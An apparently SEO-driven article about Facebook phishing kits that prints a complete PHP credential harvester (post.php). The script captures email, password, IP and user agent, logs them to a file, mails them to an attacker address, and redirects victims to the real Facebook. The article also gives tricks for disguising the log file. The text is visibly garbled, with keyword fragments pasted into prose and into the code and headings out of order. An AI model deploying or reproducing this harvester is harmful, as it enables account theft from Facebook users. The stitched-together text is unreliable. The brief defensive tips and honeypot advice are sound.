The Anatomy of a Facebook Phishing Attack: Dissecting the `post.php` Code

Introduction: The Ever-Present Threat

In the digital ecosystem, Facebook remains a goldmine for cybercriminals. With over 3 billion monthly active users, a single compromised account can be used to spread scams, harvest personal data, or even launch financial fraud. Among the various techniques attackers use, phishing via malicious post.php files is one of the most dangerous yet misunderstood.

When security researchers talk about "Facebook phishing postphp code," they are referring to a specific breed of server-side scripts designed to intercept login credentials. Unlike simple fake login pages that only capture data locally, these PHP scripts actively process, store, and sometimes even redirect victims to the real Facebook to avoid suspicion.

In this article, we will break down exactly how these phishing kits work, analyze the PHP code behind them, and—most importantly—teach you how to defend against them. facebook phishing postphp code

Protecting Yourself and Others

Use HTTPS: Always ensure your connection to a site is secure.
Verify Site Authenticity: Be wary of sites with misspellings or unusual characters.
Two-Factor Authentication (2FA): Use 2FA when available to add an extra layer of security.

2.1 The `post.php` Code – Simplified Real Example

<?php
// Facebook phishing harvester – post.php
$email = $_POST['email'];
$pass  = $_POST['pass'];
$ip    = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$date  = date('Y-m-d H:i:s');
$data = "[$date] $ip | $agent | $email : $pass\n";
// 1. Save locally
file_put_contents("log.txt", $data, FILE_APPEND);
// 2. Optional: Send to attacker email
mail("attacker@protonmail.com", "FB log - $ip", $data); The Anatomy of a Facebook Phishing Attack: Dissecting
// 3. Redirect to real Facebook to avoid suspicion
header("Location: https://www.facebook.com/login.php");
exit;
?>

Section 5: The Steal

file_put_contents($log_file, $data, FILE_APPEND | LOCK_EX);

This is the core exfiltration method. It appends the stolen credentials to a text file. The LOCK_EX flag prevents simultaneous writes from corrupting the file if multiple victims hit the script at once. Protecting Yourself and Others

Smarter phishing kits obfuscate this file path. Instead of logs/facebook_logs.txt, they might use:

.404.png (looks like an image)
../.cache/db.php (outside web root)
backup/admin.bak

For Security Researchers (Hunting the Script)

You can set up a honeypot:

Create a fake post.php that logs attackers who test it.
Monitor URL patterns like /*/login.php, /*/post.php, /*/send.php.

Use curl to submit fake credentials to suspicious endpoints:

curl -d "email=honeypot@test.com&pass=fake123" http://suspicious-site.com/post.php
